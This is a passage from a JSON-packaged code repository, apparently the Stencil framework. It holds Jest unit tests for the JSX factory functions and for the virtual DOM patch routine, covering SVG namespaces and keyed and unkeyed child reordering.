'props-key' });\n    });\n\n    it('should handle ref in props', () => {\n      const refCallback = jest.fn();\n      const vnode = jsx('div', { id: 'test', ref: refCallback });\n      expect(vnode.$tag$).toBe('div');\n      expect(vnode.$attrs$).toEqual({ id: 'test', ref: refCallback });\n    });\n\n    it('should handle both key and ref', () => {\n      const refCallback = jest.fn();\n      const vnode = jsx('div', { id: 'test', key: 'my-key', ref: refCallback }, undefined);\n      expect(vnode.$tag$).toBe('div');\n      expect(vnode.$key$).toBe('my-key');\n      expect(vnode.$attrs$).toEqual({ id: 'test', key: 'my-key', ref: refCallback });\n    });\n\n    it('should handle children as array', () => {\n      const vnode = jsx('div', { children: ['Hello', 'World'] });\n      expect(vnode.$tag$).toBe('div');\n      expect(vnode.$children$?.length).toBe(1);\n      expect(vnode.$children$![0].$text$).toBe('HelloWorld');\n    });\n\n    it('should handle single child', () => {\n      const vnode = jsx('div', { children: 'Hello' });\n      expect(vnode.$tag$).toBe('div');\n      expect(vnode.$children$?.length).toBe(1);\n    });\n\n    it('should not include children in attrs', () => {\n      const vnode = jsx('div', { id: 'test', children: 'Hello' });\n      expect(vnode.$attrs$).toEqual({ id: 'test' });\n    });\n\n    it('jsxs should work the same as jsx', () => {\n      const vnode = jsxs('div', { id: 'test' }, 'my-key');\n      expect(vnode.$tag$).toBe('div');\n      expect(vnode.$attrs$).toEqual({ id: 'test', key: 'my-key' });\n    });\n  });\n\n  describe('jsxDEV()', () => {\n    it('should handle key and ref like jsx()', () => {\n      const refCallback = jest.fn();\n      const vnode = jsxDEV('div', { id: 'test', key: 'my-key', ref: refCallback });\n      expect(vnode.$tag$).toBe('div');\n      expect(vnode.$key$).toBe('my-key');\n      expect(vnode.$attrs$).toEqual({ id: 'test', key: 'my-key', ref: refCallback });\n    });\n\n    it('should handle key as separate parameter', () => {\n      const vnode = jsxDEV('div', { id: 'test' }, 'param-key');\n      expect(vnode.$tag$).toBe('div');\n      expect(vnode.$key$).toBe('param-key');\n      expect(vnode.$attrs$).toEqual({ id: 'test', key: 'param-key' });\n    });\n  });\n});\n"
  },
  {
    "path": "src/runtime/vdom/test/patch-svg.spec.ts",
    "content": "import { SVG_NS } from '@utils';\n\nimport type * as d from '../../../declarations';\nimport { h, newVNode } from '../h';\nimport { toVNode } from '../util';\nimport { patch } from '../vdom-render';\n\ndescribe('renderer', () => {\n  let hostElm: d.HostElement;\n  let vnode0: d.VNode;\n\n  beforeEach(() => {\n    hostElm = document.createElement('div');\n    vnode0 = newVNode(null, null);\n    vnode0.$elm$ = hostElm;\n  });\n\n  describe('created element', () => {\n    it('has tag', () => {\n      patch(vnode0, h('div', null));\n      expect(hostElm.tagName).toEqual('DIV');\n    });\n\n    it('should automatically get svg namespace', () => {\n      const svgElm = document.createElementNS(SVG_NS, 'svg');\n      const vnode1 = toVNode(svgElm);\n      patch(\n        vnode1,\n        h(\n          'svg',\n          null,\n          h('foreignObject', null, h('div', null, 'I am HTML embedded in SVG')),\n          h('feGaussianBlur', null),\n        ),\n      );\n\n      expect(svgElm.namespaceURI).toEqual(SVG_NS);\n      expect((svgElm.firstChild as SVGSVGElement).namespaceURI).toEqual(SVG_NS);\n      expect((svgElm.children[0].firstChild as SVGSVGElement).namespaceURI).not.toEqual(SVG_NS);\n      expect(svgElm.children[1].namespaceURI).toEqual(SVG_NS);\n      expect(svgElm).toEqualHtml(`\n        <svg>\n          <foreignObject>\n            <div>\n              I am HTML embedded in SVG\n            </div>\n          </foreignObject>\n          <feGaussianBlur></feGaussianBlur>\n        </svg>`);\n    });\n\n    it('should not affect subsequence element', () => {\n      patch(\n        vnode0,\n        h('div', null, [h('svg', null, [h('title', null, 'Title'), h('circle', null)] as any), h('div', null)] as any),\n      );\n\n      expect(hostElm.tagName).toEqual('DIV');\n      expect(hostElm.namespaceURI).not.toEqual(SVG_NS);\n      expect(hostElm.firstElementChild.tagName).toEqual('svg');\n      expect(hostElm.firstElementChild.namespaceURI).toEqual(SVG_NS);\n      expect((hostElm.firstElementChild.firstChild as SVGSVGElement).namespaceURI).toEqual(SVG_NS);\n      expect((hostElm.firstElementChild.lastChild as SVGSVGElement).namespaceURI).toEqual(SVG_NS);\n      expect(hostElm.lastElementChild.namespaceURI).not.toEqual(SVG_NS);\n    });\n  });\n\n  describe('created trailing svg element', () => {\n    it('should not affect subsequent created element', () => {\n      patch(vnode0, h('div', null, h('div', null, h('svg', null))));\n\n      const vnode1 = toVNode(vnode0.$elm$);\n\n      patch(vnode1, h('div', null, [h('div', null, h('svg', null)), h('div', null)] as any));\n\n      const vnode2 = toVNode(vnode1.$elm$);\n      expect(vnode2.$children$[0].$elm$.tagName).toEqual('DIV');\n      expect(vnode2.$children$[0].$children$[0].$elm$.tagName).toEqual('svg');\n      expect(vnode2.$children$[1].$elm$.tagName).toEqual('DIV');\n    });\n  });\n});\n"
  },
  {
    "path": "src/runtime/vdom/test/patch.spec.ts",
    "content": "import { shuffleArray } from '@stencil/core/testing';\nimport { SVG_NS } from '@utils';\n\nimport type * as d from '../../../declarations';\nimport { h, newVNode } from '../h';\nimport { toVNode } from '../util';\nimport { patch } from '../vdom-render';\n\ndescribe('renderer', () => {\n  let hostElm: any;\n  let vnode0: d.VNode;\n  const inner = prop('innerHTML');\n\n  beforeEach(() => {\n    hostElm = document.createElement('div');\n    vnode0 = newVNode(null, null);\n    vnode0.$elm$ = hostElm;\n  });\n\n  describe('functional component', () => {\n    it('should re-render functional component w/ children', () => {\n      const DoesNotRenderChildren = () => h('div', null, 'mph');\n      const RendersChildren = (_props: any, children: any) => h('div', null, children, '-12');\n\n      hostElm = document.createElement('my-tag');\n\n      const vnode0 = newVNode(null, null);\n      vnode0.$elm$ = hostElm;\n\n      const vnode1 = h('my-tag', null, h(DoesNotRenderChildren, null, '88'), h(RendersChildren, null, 'DMC'));\n\n      patch(vnode0, vnode1);\n      expect(hostElm.tagName).toBe('MY-TAG');\n      expect(hostElm.childNodes[0].innerHTML).toBe('mph');\n      expect(hostElm.childNodes[1].innerHTML).toBe('DMC-12');\n\n      const vnode2 = h('my-tag', null, h(DoesNotRenderChildren, null, '88'), h(RendersChildren, null, 'dmc'));\n\n      patch(vnode1, vnode2);\n      expect(hostElm.childNodes[0].innerHTML).toBe('mph');\n      expect(hostElm.childNodes[1].innerHTML).toBe('dmc-12');\n    });\n\n    it('should re-render a functional component', () => {\n      function functionalComp({ children, ...props }: any) {\n        return h('span', props, children);\n      }\n\n      hostElm = document.createElement('my-tag');\n\n      const vnode0 = newVNode(null, null);\n      vnode0.$elm$ = hostElm;\n\n      const vnode1 = h('my-tag', null, h(functionalComp, { class: 'render-one' }));\n\n      patch(vnode0, vnode1);\n      expect(hostElm.childNodes[0].className).toBe('render-one');\n\n      const vnode2 = h('my-tag', null, h(functionalComp, { class: 'render-two' }));\n\n      patch(vnode1, vnode2);\n      expect(hostElm.childNodes[0].className).toBe('render-two');\n    });\n\n    it('should render a basic functional component', () => {\n      function functionalComp({ children, ...props }: any) {\n        return h('span', props, children);\n      }\n\n      hostElm = document.createElement('my-tag');\n      vnode0 = newVNode(null, null);\n      vnode0.$elm$ = hostElm;\n      patch(vnode0, h('my-tag', null, h(functionalComp, { class: 'functional-cmp' })));\n      expect(hostElm.childNodes[0].tagName).toBe('SPAN');\n      expect(hostElm.childNodes[0].textContent).toBe('');\n      expect(hostElm.childNodes[0].className).toBe('functional-cmp');\n    });\n\n    it('should render as a sibling component', () => {\n      function functionalComp(props: any, children: any) {\n        return h('span', props, children);\n      }\n\n      hostElm = document.createElement('my-tag');\n      vnode0 = newVNode(null, null);\n      vnode0.$elm$ = hostElm;\n      patch(vnode0, h('my-tag', null, h('span', null, 'Test Child'), h(functionalComp, { class: 'functional-cmp' })));\n      expect(hostElm.childNodes[0].tagName).toBe('SPAN');\n      expect(hostElm.childNodes[0].textContent).toBe('Test Child');\n      expect(hostElm.childNodes[1].tagName).toBe('SPAN');\n      expect(hostElm.childNodes[1].textContent).toBe('');\n      expect(hostElm.childNodes[1].className).toBe('functional-cmp');\n    });\n\n    it('should render children', () => {\n      function functionalComp(props: any, children: any) {\n        return h('span', props, children);\n      }\n\n      hostElm = document.createElement('my-tag');\n      vnode0 = newVNode(null, null);\n      vnode0.$elm$ = hostElm;\n      patch(vnode0, h('my-tag', null, h(functionalComp, { class: 'functional-cmp' }, h('span', null, 'Test Child'))));\n      expect(hostElm.childNodes[0].tagName).toBe('SPAN');\n      expect(hostElm.childNodes[0].className).toBe('functional-cmp');\n      expect(hostElm.childNodes[0].textContent).toBe('Test Child');\n    });\n  });\n\n  describe('created element', () => {\n    it('has tag', () => {\n      patch(vnode0, h('div', null));\n      expect(hostElm.tagName).toEqual('DIV');\n    });\n\n    it('receives css classes', () => {\n      const vnode1 = h('div', null, h('i', { class: { i: true, am: true, a: true, class: true } }));\n      patch(vnode0, vnode1);\n      expect(hostElm.firstChild).toHaveClasses(['i', 'am', 'a', 'class']);\n    });\n\n    it('can create elements with text content', () => {\n      patch(vnode0, h('div', null, 'I am a string'));\n      expect(hostElm.innerHTML).toEqual('I am a string');\n    });\n  });\n\n  describe('patching an element', () => {\n    it('does not remove classes of previous from dom if vdom does not document them', () => {\n      hostElm.classList.add('horse');\n      const vnode1 = h('i', { class: { i: true, am: true } });\n      patch(vnode0, vnode1);\n\n      expect(hostElm).toHaveClasses(['i', 'am', 'horse']);\n    });\n\n    it('changes elements classes from previous vnode', () => {\n      const vnode1 = h('i', { class: { i: true, am: true, horse: true } });\n      const vnode2 = h('i', { class: { i: true, am: true, horse: false } });\n      patch(vnode0, vnode1);\n      patch(vnode1, vnode2);\n\n      expect(hostElm).toHaveClasses(['i', 'am']);\n    });\n\n    it('preserves memoized classes', () => {\n      const cachedClass = { i: true, am: true, horse: false };\n      const vnode1 = h('i', { class: cachedClass });\n      const vnode2 = h('i', { class: cachedClass });\n      patch(vnode0, vnode1);\n      expect(hostElm).toHaveClasses(['i', 'am']);\n\n      patch(vnode1, vnode2);\n      expect(hostElm).toHaveClasses(['i', 'am']);\n    });\n\n    it('removes missing classes', () => {\n      const vnode1 = h('i', { class: { i: true, am: true, horse: true } });\n      const vnode2 = h('i', { class: { i: true, am: true } });\n      patch(vnode0, vnode1);\n      patch(vnode1, vnode2);\n      expect(hostElm).toHaveClasses(['i', 'am']);\n    });\n\n    it('removes classes when class set to empty string', () => {\n      const vnode1 = h('i', { class: { i: true, am: true, horse: true } });\n      const vnode2 = h('i', { class: '' });\n      patch(vnode0, vnode1);\n      patch(vnode1, vnode2);\n      expect(hostElm).toHaveClasses([]);\n    });\n\n    describe('using toVNode()', () => {\n      it('can remove previous children of the root element', () => {\n        const h2 = document.createElement('h2');\n        h2.textContent = 'Hello';\n\n        const prevElm = document.createElement('div');\n        prevElm.id = 'id';\n        prevElm.className = 'class';\n        prevElm.appendChild(h2);\n\n        const nextVNode = h('div', null, h('span', null, 'Hi'));\n        patch(toVNode(prevElm), nextVNode);\n        hostElm = nextVNode.$elm$;\n\n        expect(hostElm).toEqual(prevElm);\n        expect(hostElm.tagName).toEqual('DIV');\n        expect(hostElm.id).toEqual('id');\n        expect(hostElm.className).toEqual('class');\n        expect(hostElm.childNodes.length).toEqual(1);\n        expect(hostElm.childNodes[0].tagName).toEqual('SPAN');\n        expect(hostElm.childNodes[0].textContent).toEqual('Hi');\n      });\n\n      it('can remove previous children of the root element with update', () => {\n        const h2 = document.createElement('h2');\n        h2.textContent = 'Hello';\n\n        const prevElm = document.createElement('div');\n        prevElm.id = 'id';\n        prevElm.className = 'class';\n        prevElm.appendChild(h2);\n\n        const nextVNode = h('div', null, h('span', null, 'Hi'));\n        patch(toVNode(prevElm), nextVNode);\n        hostElm = nextVNode.$elm$;\n\n        expect(hostElm).toEqual(prevElm);\n        expect(hostElm.tagName).toEqual('DIV');\n        expect(hostElm.id).toEqual('id');\n        expect(hostElm.className).toEqual('class');\n        expect(hostElm.childNodes.length).toEqual(1);\n        expect(hostElm.childNodes[0].tagName).toEqual('SPAN');\n        expect(hostElm.childNodes[0].textContent).toEqual('Hi');\n      });\n\n      it('can remove some children of the root element', () => {\n        const h2 = document.createElement('h2');\n        h2.textContent = 'Hello';\n\n        const prevElm = document.createElement('div');\n        prevElm.id = 'id';\n        prevElm.className = 'class';\n\n        const text = document.createTextNode('Foobar');\n        (<any>text).testProperty = function () {\n          /**/\n        }; // ensures we don't recreate the Text Node\n        prevElm.appendChild(text);\n        prevElm.appendChild(h2);\n\n        const nextVNode = h('div', null, 'Foobar');\n        patch(toVNode(prevElm), nextVNode);\n        hostElm = nextVNode.$elm$;\n\n        expect(hostElm).toEqual(prevElm);\n        expect(hostElm.tagName).toEqual('DIV');\n        expect(hostElm.id).toEqual('id');\n        expect(hostElm.className).toEqual('class');\n        expect(hostElm.childNodes.length).toEqual(1);\n        expect(hostElm.childNodes[0].nodeType).toEqual(3);\n        expect(hostElm.childNodes[0].wholeText).toEqual('Foobar');\n        expect(typeof hostElm.childNodes[0].testProperty).toEqual('function');\n      });\n\n      it('can remove text elements', () => {\n        const h2 = document.createElement('h2');\n        h2.textContent = 'Hello';\n\n        const prevElm = document.createElement('div');\n        prevElm.id = 'id';\n        prevElm.className = 'class';\n\n        const text = document.createTextNode('Foobar');\n        prevElm.appendChild(text);\n        prevElm.appendChild(h2);\n\n        const nextVNode = h('div', null, h('h2', null, 'Hello'));\n        patch(toVNode(prevElm), nextVNode);\n        hostElm = nextVNode.$elm$;\n\n        expect(hostElm).toEqual(prevElm);\n        expect(hostElm.tagName).toEqual('DIV');\n        expect(hostElm.id).toEqual('id');\n        expect(hostElm.className).toEqual('class');\n        expect(hostElm.childNodes.length).toEqual(1);\n        expect(hostElm.childNodes[0].nodeType).toEqual(1);\n        expect(hostElm.childNodes[0].textContent).toEqual('Hello');\n      });\n    });\n\n    describe('updating children with keys', () => {\n      function spanNum(n: any) {\n        if (n == null) {\n          return n;\n        } else if (typeof n === 'string') {\n          return h('span', null, n);\n        } else {\n          return h('span', { key: n }, n.toString());\n        }\n      }\n\n      function vnodeMap(arr: number[]) {\n        return h.apply(null, ['span', null, ...arr.map(spanNum)]);\n      }\n\n      describe('addition of elements', () => {\n        it('appends elements', () => {\n          const vnode1 = vnodeMap([1]);\n          const vnode2 = vnodeMap([1, 2, 3]);\n\n          patch(vnode0, vnode1);\n          expect(hostElm.children.length).toEqual(1);\n\n          patch(vnode1, vnode2);\n          expect(hostElm.children.length).toEqual(3);\n          expect(hostElm.children[1].innerHTML).toEqual('2');\n          expect(hostElm.children[2].innerHTML).toEqual('3');\n        });\n\n        it('prepends elements', () => {\n          const vnode1 = vnodeMap([4, 5]);\n          const vnode2 = vnodeMap([1, 2, 3, 4, 5]);\n\n          patch(vnode0, vnode1);\n          expect(hostElm.children.length).toEqual(2);\n\n          patch(vnode1, vnode2);\n          expect(map(inner, hostElm.children)).toEqual(['1', '2', '3', '4', '5']);\n        });\n\n        it('add elements in the middle', () => {\n          const vnode1 = vnodeMap([1, 2, 4, 5]);\n          const vnode2 = vnodeMap([1, 2, 3, 4, 5]);\n\n          patch(vnode0, vnode1);\n          expect(hostElm.children.length).toEqual(4);\n          expect(hostElm.children.length).toEqual(4);\n\n          patch(vnode1, vnode2);\n          expect(map(inner, hostElm.children)).toEqual(['1', '2', '3', '4', '5']);\n        });\n\n        it('add elements at begin and end', () => {\n          const vnode1 = vnodeMap([2, 3, 4]);\n          const vnode2 = vnodeMap([1, 2, 3, 4, 5]);\n\n          patch(vnode0, vnode1);\n          expect(hostElm.children.length).toEqual(3);\n\n          patch(vnode1, vnode2);\n          expect(map(inner, hostElm.children)).toEqual(['1', '2', '3', '4', '5']);\n        });\n\n        it('adds children to parent with no children', () => {\n          const vnode1 = h('span', { key: 'span' });\n          const vnode2 = h('span', { key: 'span' }, ...[1, 2, 3].map(spanNum));\n\n          patch(vnode0, vnode1);\n          expect(hostElm.children.length).toEqual(0);\n\n          patch(vnode1, vnode2);\n          expect(map(inner, hostElm.children)).toEqual(['1', '2', '3']);\n        });\n\n        it('removes all children from parent', () => {\n          const vnode1 = h('span', { key: 'span' }, ...[1, 2, 3].map(spanNum));\n          const vnode2 = h('span', { key: 'span' });\n          patch(vnode0, vnode1);\n          expect(map(inner, hostElm.children)).toEqual(['1', '2', '3']);\n          patch(vnode1, vnode2);\n          expect(hostElm.children.length).toEqual(0);\n        });\n\n        it('update one child with same key but different sel', () => {\n          const vnode1 = h('span', { key: 'spans' }, ...[1, 2, 3].map(spanNum));\n          const vnode2 = h('span', { key: 'span' }, ...[spanNum(1), h('i', { key: 2 }, '2'), spanNum(3)]);\n          patch(vnode0, vnode1);\n          expect(map(inner, hostElm.children)).toEqual(['1', '2', '3']);\n          patch(vnode1, vnode2);\n          expect(map(inner, hostElm.children)).toEqual(['1', '2', '3']);\n          expect(hostElm.children.length).toEqual(3);\n          expect(hostElm.children[1].tagName).toEqual('I');\n        });\n      });\n\n      describe('removal of elements', () => {\n        it('removes elements from the beginning', () => {\n          const vnode1 = h('span', null, ...[1, 2, 3, 4, 5].map(spanNum));\n          const vnode2 = h('span', null, ...[3, 4, 5].map(spanNum));\n          patch(vnode0, vnode1);\n          expect(hostElm.children.length).toEqual(5);\n          patch(vnode1, vnode2);\n          expect(map(inner, hostElm.children)).toEqual(['3', '4', '5']);\n        });\n\n        it('removes elements from the end', () => {\n          const vnode1 = h('span', null, ...[1, 2, 3, 4, 5].map(spanNum));\n          const vnode2 = h('span', null, ...[1, 2, 3].map(spanNum));\n\n          patch(vnode0, vnode1);\n          expect(hostElm.children.length).toEqual(5);\n\n          patch(vnode1, vnode2);\n          expect(hostElm.children.length).toEqual(3);\n\n          expect(hostElm.children[0].innerHTML).toEqual('1');\n          expect(hostElm.children[1].innerHTML).toEqual('2');\n          expect(hostElm.children[2].innerHTML).toEqual('3');\n        });\n\n        it('removes elements from the middle', () => {\n          const vnode1 = h('span', null, ...[1, 2, 3, 4, 5].map(spanNum));\n          const vnode2 = h('span', null, ...[1, 2, 4, 5].map(spanNum));\n\n          patch(vnode0, vnode1);\n          expect(hostElm.children.length).toEqual(5);\n\n          patch(vnode1, vnode2);\n          expect(hostElm.children.length).toEqual(4);\n\n          expect(hostElm.children[0].innerHTML).toEqual('1');\n          expect(hostElm.children[1].innerHTML).toEqual('2');\n          expect(hostElm.children[2].innerHTML).toEqual('4');\n          expect(hostElm.children[3].innerHTML).toEqual('5');\n        });\n\n        it('removes child svg elements', () => {\n          vnode0.$elm$ = document.createElement('svg') as any;\n\n          const a = h('svg', { n: SVG_NS }, h('g', null), h('g', null));\n          const b = h('svg', { n: SVG_NS }, h('g', null));\n\n          patch(vnode0, a);\n          const resultA = toVNode(vnode0.$elm$);\n          expect(resultA.$elm$.childNodes.length).toEqual(2);\n\n          patch(resultA, b);\n          const resultB = toVNode(resultA.$elm$);\n          expect(resultB.$elm$.childNodes.length).toEqual(1);\n        });\n      });\n\n      describe('element reordering', () => {\n        it('moves element forward', () => {\n          const vnode1 = h('span', null, ...[1, 2, 3, 4].map(spanNum));\n          const vnode2 = h('span', null, ...[2, 3, 1, 4].map(spanNum));\n\n          patch(vnode0, vnode1);\n          expect(hostElm.children.length).toEqual(4);\n\n          (<any>hostElm.children[0]).instance = 1;\n          (<any>hostElm.children[1]).instance = 2;\n          (<any>hostElm.children[2]).instance = 3;\n          (<any>hostElm.children[3]).instance = 4;\n\n          patch(vnode1, vnode2);\n          expect(hostElm.children.length).toEqual(4);\n\n          expect(hostElm.children[0].innerHTML).toEqual('2');\n          expect(hostElm.children[0].instance).toEqual(2);\n          expect(hostElm.children[0].hasAttribute('key')).toBe(false);\n\n          expect(hostElm.children[1].innerHTML).toEqual('3');\n          expect(hostElm.children[1].instance).toEqual(3);\n          expect(hostElm.children[1].hasAttribute('key')).toBe(false);\n\n          expect(hostElm.children[2].innerHTML).toEqual('1');\n          expect(hostElm.children[2].instance).toEqual(1);\n          expect(hostElm.children[2].hasAttribute('key')).toBe(false);\n\n          expect(hostElm.children[3].innerHTML).toEqual('4');\n          expect(hostElm.children[3].instance).toEqual(4);\n          expect(hostElm.children[3].hasAttribute('key')).toBe(false);\n        });\n\n        it('moves element to end', () => {\n          const vnode1 = h('span', null, ...[1, 2, 3].map(spanNum));\n          const vnode2 = h('span', null, ...[2, 3, 1].map(spanNum));\n\n          patch(vnode0, vnode1);\n          expect(hostElm.children.length).toEqual(3);\n\n          patch(vnode1, vnode2);\n          expect(hostElm.children.length).toEqual(3);\n          expect(hostElm.children[0].innerHTML).toEqual('2');\n          expect(hostElm.children[1].innerHTML).toEqual('3');\n          expect(hostElm.children[2].innerHTML).toEqual('1');\n        });\n\n        it('moves element backwards', () => {\n          const vnode1 = h('span', null, ...[1, 2, 3, 4].map(spanNum));\n          const vnode2 = h('span', null, ...[1, 4, 2, 3].map(spanNum));\n\n          patch(vnode0, vnode1);\n          expect(hostElm.children.length).toEqual(4);\n\n          patch(vnode1, vnode2);\n          expect(hostElm.children.length).toEqual(4);\n          expect(hostElm.children[0].innerHTML).toEqual('1');\n          expect(hostElm.children[1].innerHTML).toEqual('4');\n          expect(hostElm.children[2].innerHTML).toEqual('2');\n          expect(hostElm.children[3].innerHTML).toEqual('3');\n        });\n\n        it('swaps first and last', () => {\n          const vnode1 = h('span', null, ...[1, 2, 3, 4].map(spanNum));\n          const vnode2 = h('span', null, ...[4, 2, 3, 1].map(spanNum));\n\n          patch(vnode0, vnode1);\n          expect(hostElm.children.length).toEqual(4);\n\n          patch(vnode1, vnode2);\n          expect(hostElm.children.length).toEqual(4);\n          expect(hostElm.children[0].innerHTML).toEqual('4');\n          expect(hostElm.children[1].innerHTML).toEqual('2');\n          expect(hostElm.children[2].innerHTML).toEqual('3');\n          expect(hostElm.children[3].innerHTML).toEqual('1');\n        });\n      });\n\n      describe('combinations of additions, removals and reorderings', () => {\n        it('move to left and replace', () => {\n          const vnode1 = h('span', null, ...[1, 2, 3, 4, 5].map(spanNum));\n          const vnode2 = h('span', null, ...[4, 1, 2, 3, 6].map(spanNum));\n\n          patch(vnode0, vnode1);\n          expect(hostElm.children.length).toEqual(5);\n\n          patch(vnode1, vnode2);\n          expect(hostElm.children.length).toEqual(5);\n          expect(hostElm.children[0].innerHTML).toEqual('4');\n          expect(hostElm.children[1].innerHTML).toEqual('1');\n          expect(hostElm.children[2].innerHTML).toEqual('2');\n          expect(hostElm.children[3].innerHTML).toEqual('3');\n          expect(hostElm.children[4].innerHTML).toEqual('6');\n        });\n\n        it('moves to left and leaves hole', () => {\n          const vnode1 = h('span', null, ...[1, 4, 5].map(spanNum));\n          const vnode2 = h('span', null, ...[4, 6].map(spanNum));\n\n          patch(vnode0, vnode1);\n          expect(hostElm.children.length).toEqual(3);\n\n          patch(vnode1, vnode2);\n          expect(map(inner, hostElm.children)).toEqual(['4', '6']);\n        });\n\n        it('handles moved and set to undefined element ending at the end', () => {\n          const vnode1 = h('span', null, ...[2, 4, 5].map(spanNum));\n          const vnode2 = h('span', null, ...[4, 5, 3].map(spanNum));\n\n          patch(vnode0, vnode1);\n          expect(hostElm.children.length).toEqual(3);\n\n          patch(vnode1, vnode2);\n          expect(hostElm.children.length).toEqual(3);\n          expect(hostElm.children[0].innerHTML).toEqual('4');\n          expect(hostElm.children[1].innerHTML).toEqual('5');\n          expect(hostElm.children[2].innerHTML).toEqual('3');\n        });\n\n        it('moves a key in non-keyed nodes with a size up', () => {\n          const vnode1 = h('span', null, ...[1, 'a', 'b', 'c'].map(spanNum));\n          const vnode2 = h('span', null, ...['d', 'a', 'b', 'c', 1, 'e'].map(spanNum));\n\n          patch(vnode0, vnode1);\n          expect(hostElm.childNodes.length).toEqual(4);\n          expect(hostElm.textContent).toEqual('1abc');\n\n          patch(vnode1, vnode2);\n          expect(hostElm.childNodes.length).toEqual(6);\n          expect(hostElm.textContent).toEqual('dabc1e');\n        });\n      });\n\n      it('reverses elements', () => {\n        const vnode1 = h('span', null, ...[1, 2, 3, 4, 5, 6, 7, 8].map(spanNum));\n        const vnode2 = h('span', null, ...[8, 7, 6, 5, 4, 3, 2, 1].map(spanNum));\n\n        patch(vnode0, vnode1);\n        expect(hostElm.children.length).toEqual(8);\n\n        patch(vnode1, vnode2);\n        expect(map(inner, hostElm.children)).toEqual(['8', '7', '6', '5', '4', '3', '2', '1']);\n      });\n\n      it('something', () => {\n        const vnode1 = h('span', null, ...[0, 1, 2, 3, 4, 5].map(spanNum));\n        const vnode2 = h('span', null, ...[4, 3, 2, 1, 5, 0].map(spanNum));\n\n        patch(vnode0, vnode1);\n        expect(hostElm.children.length).toEqual(6);\n\n        patch(vnode1, vnode2);\n        expect(map(inner, hostElm.children)).toEqual(['4', '3', '2', '1', '5', '0']);\n      });\n\n      it('handles random shuffles', () => {\n        let n: number, i: number;\n        const arr = [],\n          opacities: any[] = [],\n          elms = 14,\n          samples = 5;\n\n        function spanNumWithOpacity(n: any, o: any) {\n          return h('span', { key: n, style: { opacity: o } }, n.toString());\n        }\n\n        for (n = 0; n < elms; ++n) {\n          arr[n] = n;\n        }\n\n        for (n = 0; n < samples; ++n) {\n          const vnode1 = h(\n            'span',\n            null,\n            ...arr.map(function (n) {\n              return spanNumWithOpacity(n, '1');\n            }),\n          );\n\n          const shufArr = shuffleArray(arr.slice(0));\n          let elm: any = document.createElement('div');\n          vnode0.$elm$ = elm;\n          patch(vnode0, vnode1);\n          elm = vnode1.$elm$;\n\n          for (i = 0; i < elms; ++i) {\n            expect(elm.children[i].innerHTML).toEqual(i.toString());\n            opacities[i] = Math.random().toFixed(5).toString();\n          }\n\n          const vnode2 = h(\n            'span',\n            null,\n            ...arr.map(function (n) {\n              return spanNumWithOpacity(shufArr[n], opacities[n]);\n            }),\n          );\n\n          patch(vnode1, vnode2);\n          elm = vnode2.$elm$;\n          for (i = 0; i < elms; ++i) {\n            expect(elm.children[i].innerHTML).toEqual(shufArr[i].toString());\n            expect(opacities[i].indexOf(elm.children[i].style.opacity)).toEqual(0);\n          }\n        }\n      });\n\n      it('supports null/undefined children', () => {\n        const vnode1 = h('i', null, ...[0, 1, 2, 3, 4, 5].map(spanNum));\n        const vnode2 = h('i', null, ...[null, 2, undefined, null, 1, 0, null, 5, 4, null, 3, undefined].map(spanNum));\n\n        patch(vnode0, vnode1);\n        expect(hostElm.children.length).toEqual(6);\n\n        patch(vnode1, vnode2);\n        expect(map(inner, hostElm.children)).toEqual(['2', '1', '0', '5', '4', '3']);\n      });\n\n      it('supports all null/undefined children', () => {\n        const vnode1 = h('v1', null, ...[0, 1, 2, 3, 4, 5].map(spanNum));\n        const vnode2 = h('v2', null, ...[null, null, undefined, null, null, undefined]);\n        const vnode3 = h('v3', null, ...[5, 4, 3, 2, 1, 0].map(spanNum));\n\n        patch(vnode0, vnode1);\n\n        patch(vnode1, vnode2);\n        expect(hostElm.children.length).toEqual(0);\n\n        patch(vnode2, vnode3);\n        expect(map(inner, hostElm.children)).toEqual(['5', '4', '3', '2', '1', '0']);\n      });\n\n      it('handles random shuffles with null/undefined children', () => {\n        let i, j, r, len, arr;\n        const maxArrLen = 15,\n          samples = 5;\n        let vnode1 = vnode0,\n          vnode2;\n\n        for (i = 0; i < samples; ++i, vnode1 = vnode2) {\n          len = Math.floor(Math.random() * maxArrLen);\n          arr = [];\n\n          for (j = 0; j < len; ++j) {\n            if ((r = Math.random()) < 0.5) arr[j] = String(j);\n            else if (r < 0.75) arr[j] = null;\n            else arr[j] = undefined;\n          }\n\n          shuffleArray(arr);\n          vnode2 = h('div', null, ...arr.map(spanNum));\n\n          patch(vnode1, vnode2);\n          expect(map(inner, hostElm.children)).toEqual(\n            arr.filter(function (x) {\n              return x != null;\n            }),\n          );\n        }\n      });\n    });\n\n    describe('updating children without keys', () => {\n      it('appends elements', () => {\n        const vnode1 = h('div', null, h('span', null, 'Hello'));\n        const vnode2 = h('div', null, h('span', null, 'Hello'), h('span', null, 'World'));\n\n        patch(vnode0, vnode1);\n        expect(map(inner, hostElm.children)).toEqual(['Hello']);\n\n        patch(vnode1, vnode2);\n        expect(map(inner, hostElm.children)).toEqual(['Hello', 'World']);\n      });\n\n      it('handles unmoved text nodes', () => {\n        const vnode1 = h('div', null, ...['Text', h('span', null, 'Span')]);\n        const vnode2 = h('div', null, ...['Text', h('span', null, 'Span')]);\n\n        patch(vnode0, vnode1);\n        expect(hostElm.childNodes[0].textContent).toEqual('Text');\n\n        patch(vnode1, vnode2);\n        expect(hostElm.childNodes[0].textContent).toEqual('Text');\n      });\n\n      it('handles changing text children', () => {\n        const vnode1 = h('div', null, ...['Text', h('span', null, 'Span')]);\n        const vnode2 = h('div', null, ...['Text2', h('span', null, 'Span')]);\n\n        patch(vnode0, vnode1);\n        expect(hostElm.childNodes[0].textContent).toEqual('Text');\n\n        patch(vnode1, vnode2);\n        expect(hostElm.childNodes[0].textContent).toEqual('Text2');\n      });\n\n      it('prepends element', () => {\n        const vnode1 = h('div', null, ...[h('span', null, 'World')]);\n        const vnode2 = h('div', null, ...[h('span', null, 'Hello'), h('span', null, 'World')]);\n\n        patch(vnode0, vnode1);\n        expect(map(inner, hostElm.children)).toEqual(['World']);\n\n        patch(vnode1, vnode2);\n        expect(map(inner, hostElm.children)).toEqual(['Hello', 'World']);\n      });\n\n      it('prepends element of different tag type', () => {\n        const vnode1 = h('div', null, ...[h('span', null, 'World')]);\n        const vnode2 = h('div', null, ...[h('div', null, 'Hello'), h('span', null, 'World')]);\n\n        patch(vnode0, vnode1);\n        expect(map(inner, hostElm.children)).toEqual(['World']);\n\n        patch(vnode1, vnode2);\n        expect(map(prop('tagName'), hostElm.children)).toEqual(['DIV', 'SPAN']);\n        expect(map(inner, hostElm.children)).toEqual(['Hello', 'World']);\n      });\n\n      it('removes 